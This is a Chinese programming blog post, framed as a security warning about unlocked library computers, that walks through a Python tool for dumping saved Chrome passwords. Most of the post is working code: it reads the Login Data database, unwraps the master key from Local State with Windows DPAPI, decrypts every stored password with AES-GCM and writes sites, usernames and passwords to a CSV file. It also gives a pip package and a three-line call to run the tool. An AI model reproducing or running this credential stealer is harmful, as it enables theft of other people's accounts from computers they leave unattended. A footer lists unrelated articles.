Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
Python selenium 三种等待方式解读
Sep 15 Python
深入理解Django中内置的用户认证
Oct 06 Python
简述Python2与Python3的不同点
Jan 21 Python
解决Python网页爬虫之中文乱码问题
May 11 Python
python,Django实现的淘宝客登录功能示例
Jun 12 Python
对pyqt5多线程正确的开启姿势详解
Jun 14 Python
python flask几分钟实现web服务的例子
Jul 26 Python
python禁用键鼠与提权代码实例
Aug 16 Python
python实现机器人卡牌
Oct 06 Python
python uuid生成唯一id或str的最简单案例
Jan 13 Python
python tqdm用法及实例详解
Jun 16 Python
Python字符串格式化方式
Apr 07 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
从零开始 教你如何搭建Discuz!4.1论坛
2006/07/07 PHP
Yii2隐藏frontend/web和backend/web的方法
2015/12/12 PHP
php中关于长度计算容易混淆的问题分析
2016/05/27 PHP
php中各种定义变量的方法小结
2017/10/18 PHP
Nginx+php配置文件及原理解析
2020/12/09 PHP
Javascript 设计模式(二) 闭包
2010/05/26 Javascript
Javascript实现返回上一页面并刷新的小例子
2013/12/11 Javascript
jQuery模拟原生态App上拉刷新下拉加载更多页面及原理
2015/08/10 Javascript
EasyUi combotree 实现动态加载树节点
2016/04/01 Javascript
javascript实现table单元格点击展开隐藏效果(实例代码)
2017/04/10 Javascript
详解vue嵌套路由-query传递参数
2017/05/23 Javascript
vue 如何添加全局函数或全局变量以及单页面的title设置总结
2017/06/01 Javascript
基于vue组件实现猜数字游戏
2020/05/28 Javascript
Angular2开发环境搭建教程之VS Code
2017/12/15 Javascript
Element-ui table中过滤条件变更表格内容的方法
2018/03/02 Javascript
JS实现数组去重,显示重复元素及个数的方法示例
2019/01/21 Javascript
新手如何快速理解js异步编程
2019/06/24 Javascript
手写Vue2.0 数据劫持的示例
2021/03/04 Vue.js
[02:03]风行者至宝清风环佩外观展示
2020/09/05 DOTA
python实现的一个p2p文件传输实例
2014/06/04 Python
Python实现3行代码解简单的一元一次方程
2014/08/18 Python
Python中unittest模块做UT(单元测试)使用实例
2015/06/12 Python
Python django实现简单的邮件系统发送邮件功能
2017/07/14 Python
PyQt5每天必学之滑块控件QSlider
2018/04/20 Python
查看django版本的方法分享
2018/05/14 Python
python实现给scatter设置颜色渐变条colorbar的方法
2018/12/13 Python
日本土著品牌,综合型购物网站:Cecile
2016/08/23 全球购物
荣耀俄罗斯官网:HONOR俄罗斯
2020/10/31 全球购物
四种会话跟踪技术
2015/05/20 面试题
老师自我鉴定范文
2013/12/25 职场文书
公务员转正鉴定材料
2014/02/11 职场文书
院领导写的就业推荐信
2014/03/09 职场文书
卖房授权委托书样本
2014/10/05 职场文书
2015教师年度考核评语
2015/03/25 职场文书
呼啸山庄读书笔记
2015/06/29 职场文书
利用JavaScript写一个简单计算器
2021/11/27 Javascript